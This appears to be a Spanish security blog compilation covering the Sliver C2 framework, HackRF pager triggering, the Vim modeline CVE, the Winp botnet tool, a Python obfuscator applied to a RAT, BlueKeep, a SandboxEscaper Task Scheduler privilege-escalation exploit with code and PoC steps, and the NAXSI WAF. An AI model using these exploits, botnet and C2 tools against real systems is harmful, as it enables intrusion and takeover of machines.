Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexión callback, incluso cuando esos molestos equipos azules bloquean dominios. También es posible tener múltiples operadores (jugadores) al mismo tiempo al mando de tu ejército de slivers.



¿Por qué Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?

Sliver tiene muchas características que otras herramientas C2 no tienen, como:

- Generación de código dinámico con ofuscación por binario (en tiempo de compilación).
- Inyección de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migración de procesos de Windows y manipulación de tokens de usuario.
- Soporta múltiples operadores controlando simultáneamente sus implantes.
- Autocompletado. Registro de auditoría completo en el lado del servidor.
- Múltiples y extensibles protocolos egress.
- Integración con Let's Encrypt.
- Ejecución en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de código abierto (licencia GPLv3).

Instalación del servidor

El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser más difíciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones básicas integradas deberían funcionar bien.

Hay dos opciones, descargar la última versión para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:

1. https://github.com/BishopFox/sliver/releases   
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source

La primera vez que ejecutemos el servidor tendrá que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser más rápidos.

"Hackeando" los avisadores de restaurantes con HackRF

Este video muestra cómo usar HackRF, ya sabéis nuestro sistema SDR de facto, para activar los típicos avisadores de restaurantes, esos que pitan para avisarnos que nuestro pedido está listo. También conocidos en inglés como 'restaurant pagers', los que se muestran en este video son fabricados por Long Range Systems y su frecuencia de operación es de 467.750 Mhz. Eso sí, tened en cuenta que este video no muestra ningún fallo de seguridad, HackRF simplemente genera el mismo paquete de datos que la estación base para activar los avisadores.


Referencias:

Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos

No hace mucho el investigador Armin Razmjou descubrió un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", vulnerabilidad registrada como CVE-2019-12735.

(Si no eres de este mundo) Pero ... ¿Qué es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una característica llamada "modelines", que básicamente le permite al editor de texto (incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta característica viene habilitada por defecto en estos editores que, si el usuario lo desea, la puede desactivar. El problema yace es que la mayoría de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el título de este artículo con un simple archivo de texto con un modeline específico y simple es posible conseguir ejecutar código directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la línea del código se consigue salir de este aislamiento.

Winp: Una botnet desde tu casa

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "https://underc0de.org/foro/hacking/winp-una-botnet-desde-tu-casa!/", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

Una pequeña definición según wikipedia:

"Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota."

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas o... básicamente un script para la creación de una botnet.

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación
Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp 

Ofuscar código python con Intensio-Obfuscator

Intensio-Obfuscator es una herramienta, todavía en beta, para ofuscar código fuente en python. Reemplaza el nombre de las variables, clases y funciones por caracteres aleatorios de longitud definida, elimina comentarios, saltos de línea y agrega a cada línea un script aleatorio con valores siempre diferentes. Requiere Python >= 3.5 pero puede ofuscar python 2.x y 3.x.

Instalación

git clone https://github.com/Hnfull/Intensio-Obfuscator.git
cd Intensio-Obfuscator/intensio/

Caraterísticas

Param. Descripción
Replace Cambia todos los nombres de las variables, clases y funciones definidas y elimina los saltos de línea.
Padding Añade scripts aleatorios después de cada línea y elimina todos los saltos de línea.
Remove Borra todos los comentarios y los saltos de línea.
Secret Sólo para curiosos :)
Mixer lower
Genera palabras con 32 caracteres que reemplazan variables, clases y funciones definidas en el código fuente y en scripts aleatorios si se especifican las características 'replace' o 'padding'.
Mixer medium Genera palabras con 64 caracteres que reemplazan variables, clases y funciones definidas en el código fuente y en scripts aleatorios si se especifican las características 'replace' o 'padding'.
Mixer high Genera palabras con 128 caracteres que reemplazan variables, clases y funciones definidas en el código fuente y en scripts aleatorios si se especifican las características 'replace' o 'padding'.

Uso

-h, --help              -> show this help message and exit.
-f, --onefile           -> if only one file.
-d, --multiplefiles     -> if multiple files (project).
-i, --input             -> source file or directory - if multiple files indicate a directory that contain all your files.
-c, --code              -> language used in input file or directory. value: [python]
-o, --output            -> output file or directory that will be obfuscated - if multiple file indicate a empty directory that will contain all your files.
-m, --mixer             -> length level of variables mix output. values: [lower,medium,high]
-r, --replace           -> activate the 'replace' obfuscation feature.
-p, --padding           -> activate the 'padding' obfuscation feature.
-rm, --remove           -> activate the 'remove' obfuscation feature.
-s, --secret            -> activate the 'secret' bullshit feature.

Se pueden excluir variables, clases o funciones para que no sean tratadas por 'replace' editando intensio/exclude_python_words.txt.
Si por el contrario quieres incluir variables, clases o funciones que no están incluidos en la función 'replace', edita intensio/include_python_words.txt.

Es importante no poner los mismos nombres de variables locales, clases o funciones que los de keywords y/o librerías importadas de python.

Ejemplos
  • Múltiples archivos básico: python3.x intensio_obfuscator.py -d -i test/python/multiplefiles/basic/input/basicRAT -c python -o test/python/multiplefiles/basic/output/basicRAT -m lower -r -rm
  • Múltiples archivos avanzado: python3.x intensio_obfuscator.py -d -i test/python/multiplefiles/advanced/input/basicRAT -c python -o test/python/multiplefiles/advanced/output/basicRAT -m high -r -p -rm
  • Si solo se trabaja con un archivo el comando es el mismo que para varios, simplemente no hay que apuntar a un directorio sino a un archivo de Python directamente con los parámetros -i y -o, luego cambiar el parámetro -d por el parámetro -f.
Posibles fallos
  • Si una variable, clase o función tiene un nombre idéntico a una palabra entre '' o "" en una función print(), el texto tendrá el mismo valor que las variables, clases o funciones mezcladas.
  • Si una variable, clase o función tiene un nombre idéntico con una palabra después de # (comentario), el texto tendrá el mismo valor que las variables, clases o funciones mezcladas, pero si está entre """ or ''' sin una variable antes no se realiza ninguna sustitución.
  • Si se nombró una variable, clase o función de la misma manera que alguna palabra clave de python o nombre de función/clase de librerías de python importadas, puede aparecer un error. Hay que editar intensio/excluded_python_words.txt para agregar las variables para no ofuscar o cambiar los nombres.
Proyecto: https://github.com/Hnfull/Intensio-Obfuscator

Ya llega BlueKeep... aka ejecución remota de código en RDP

El pasado martes 14 de mayo Microsoft lanzaba un parche para la vulnerabilidad CVE-2019-0708 bautizada también como BlueKeep, una vulnerabilidad en Remote Desktop Services de Windows que permite ejecución remota de código sin pre-autenticación, mandando simplemente paquetes especialmente modificados.


Tal y como reza Microsoft en su boletín, Windows 7, Windows Server 2008 R2 y Windows Server 2008 son vulnerables, así como los Windows 2003 y Windows XP, estos últimos y como ya sabemos ya fuera de soporte.

Evidentemente la criticidad de la vulnerabilidad causó un gran revuelo porque además abre la posibilidad de nuevo de armar malware "wormable" o autopropagable del tipo WannaCry. El resultado ha sido una avalancha de búsquedas de un exploit funcional que todavía hoy no ha cesado. Pero antes de avanzar cualquier PoC entendamos un poco en qué consiste la vulnerabilidad...

Análisis técnico CVE-2019-0708

Nos enfrentamos a una vulnerabilidad del tipo use-after-free en termdd.sys, un driver de kernel que usa el RDP (Remote Desktop Protocol) de Microsoft. Para entenderlo un poco mejor vamos a ilustrar el inicio de una comunicación RDP gracias a un buen esquema que encontré en el blog de Ixia:


Primero, tenemos una conexión X.224 iniciada por el cliente que se utiliza para realizar una solicitud de conexión al servidor, seguido de una confirmación de esta conexión.

Las siguientes peticiones "MCS Connect Initial y GCC Create", dentro del intercambio de mensajes para la Configuración Básica, contienen información de creación de canales virtuales, información relacionada con la seguridad y otros parámetros de capacidad y compatibilidad del cliente RDP. Dentro hay un campo de 8 bytes terminado en un byte nulo llamado "channelName_N" que se usa para especificar el nombre del canal.

Llegan nuevos 0-days de Windows... ¡SandboxEscaper ha vuelto!

Así es ella, repentina como el primer rayo de una tormenta, sin campañas ni anuncios rimbombantes, sólo necesita un repositorio en Github para desatar de nuevo toda su ira. Hablamos de SandboxEscaper, la enigmática investigadora que el año pasado sorprendió con la publicación de varios 0-days de escalado local de privilegios (en adelante LPE) y que hace unas horas publicó el código del primero de una serie de cinco exploits que irán desvelándose en breve: cuatro para LPEs y uno para escapar del Sandbox de IE.

Evil is coming!:
https://github.com/SandboxEscaper/polarbearrepo/

El primer 0-day (Bearpe) publicado y el que vamos a ver en este post es una vulnerabilidad que se aprovecha de las funciones de asignación de permisos a la hora de importar las tareas programadas (.job) antiguas, y permite a un usuario regular ejecutar cualquier cosa como SYSTEM. 

Descripción

Los componentes de front-end de Task Scheduler, como schtasks.exe, son interfaces que permiten a los usuarios ver, crear y modificar tareas programadas. La parte de back-end de Task Scheduler es un servicio de Windows que se ejecuta con privilegios de SYSTEM. Una de las librerías utilizadas por el servicio del Programador de tareas, schedsvc.dll, tiene una función llamada tsched::SetJobFileSecurityByName(), que establece los permisos de los archivos jobs. Los permisos de los archivos jobs en el directorio %Windir%\system32\tasks se modifican para otorgar al usuario llamante permisos completos al archivo de jobs que han creado.

En el punto donde se llama a la función SetSecurityInfo(), el servicio del Programador de tareas tiene el token de seguridad NT Authority\SYSTEM. Esto significa que el servicio del Programador de tareas puede otorgar permisos de acceso de usuario total a los archivos que solo pueden ser controlados por SYSTEM u otras cuentas privilegiadas.

El código de de la PoC de SandboxEscaper usa los binarios schtasks.exe y schedsvc.dll de Windows XP para aprovechar estos niveles de privilegios al configurar los permisos de archivos. Las versiones de Windows anteriores a Vista usaban archivos jobs en el directorio %Windir%\tasks. Las versiones heredadas de schtasks.exe harán que estos trabajos se migren al directorio %Windir%\system32\tasks cuando esas versiones de los programas se ejecuten en plataformas modernas de Windows. Junto con el token de seguridad de SYSTEM usado por el servicio del Programador de tareas, se puede aprovechar este comportamiento de migración junto con los hard links para otorgar permisos completos de archivos protegidos a cualquier usuario en un sistema Windows.

Resumiendo, el código del exploit simplificado realiza por tanto lo siguiente:

CopyFile(L"bear.job", L"c:\\windows\\tasks\\bear.job",FALSE);
    system(command.c_str());
    DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
    CreateNativeHardlink(L"c:\\windows\\system32\\tasks\\bear", L"C:\\Windows\\system32\\drivers\\pci.sys");
    system(command.c_str());


Y paso a paso:

1.- Primero se copia la tarea (el fichero bear.job) en la carpeta de tareas antigua.
2.- Luego se ejecuta "schtasks /change /TN "bear" /RU username /RP password", esto dará como resultado una llamada al siguiente RPC "_SchRpcRegisterTask", que está expuesto por el servicio del programador de tareas.
3.- Después de eso se borra el archivo que se creó y se pone un hard link y se vuelve a ejecutar el mismo comando. De esa manera se llamará a  SetSecurityInfo en el enlace físico.

PoC

1. copiar polarbear.exe, bear.job, schtasks.exe, schtasks.dll de la carpeta "poc files" a una máquina virtual de prueba
2. ejecutar polarbear.exe pasando un nombre de usuario y contraseña de una cuenta local que no sea de administración. Ej. "polarbear.exe essbee polarbear"


Impacto

Se ha confirmado que el código publicado funciona en Windows 10 de 32 y 64 bits, así como en Windows Server 2016 y Windows Server 2019.

Obviamente para explotar la vulnerabilidad se necesita usuario y contraseña pero, una vez obtenido (guest por ej.) y al aprovechar el servicio del Programador de tareas de Windows, un atacante autenticado puede obtener acceso total a los archivos protegidos. Esto puede permitir un compromiso completo del sistema desde una cuenta de usuario de Windows limitada.

Por el momento no se han lanzado parches... y hace unas horas ya se han publicado dos nuevos exploits y quedan otros dos...

NAXSI: un WAF para NGINX

NAXSI es un WAF de código abierto, de alto rendimiento y de bajo mantenimiento para NGINX. El acrónimo significa Nginx Anti XSS y SQL Injection.

Técnicamente, es un módulo de Nginx disponible como paquete para muchas plataformas tipo UNIX. De manera predeterminada, lee un pequeño subconjunto de reglas sencillas (y legibles) que contienen el 99% de los patrones conocidos involucrados en las vulnerabilidades web. Por ejemplo, <, | o drop se supone que no son parte de una URI.

Siendo muy simples, esos patrones podrían coincidir con consultas legítimas, es deber del administrador de Naxsi agregar reglas específicas que incluyan en lista blanca los comportamientos legítimos. El administrador puede agregar listas blancas manualmente analizando el registro de errores de Nginx, o (recomendado) iniciar el proyecto con una fase de aprendizaje automático intensivo que generará automáticamente reglas de listas blancas con respecto al comportamiento de un sitio web.

En resumen, Naxsi se comporta como un firewall que dropeará todo por defecto, la única tarea es agregar las reglas de ACEPTAR requeridas para que el sitio web de destino funcione correctamente.


¿Por qué es diferente?

Contrariamente a la mayoría de los firewalls de aplicaciones web, Naxsi no se basa en una base de firmas como un antivirus, y por lo tanto no puede ser evitado por un patrón de ataque "desconocido".

¿En qué se ejecuta?

Naxsi debería ser compatible con cualquier versión Nginx. Depende de libpcre para su compatibilidad con expresiones regulares, y funciona muy bien en NetBSD, FreeBSD, OpenBSD, Debian, Ubuntu y CentOS.

Más info:

- Documentación
- Algunas reglas para el software principal
- Nxapi/nxtool para generar reglas.

Proyecto: https://github.com/nbs-system/naxsi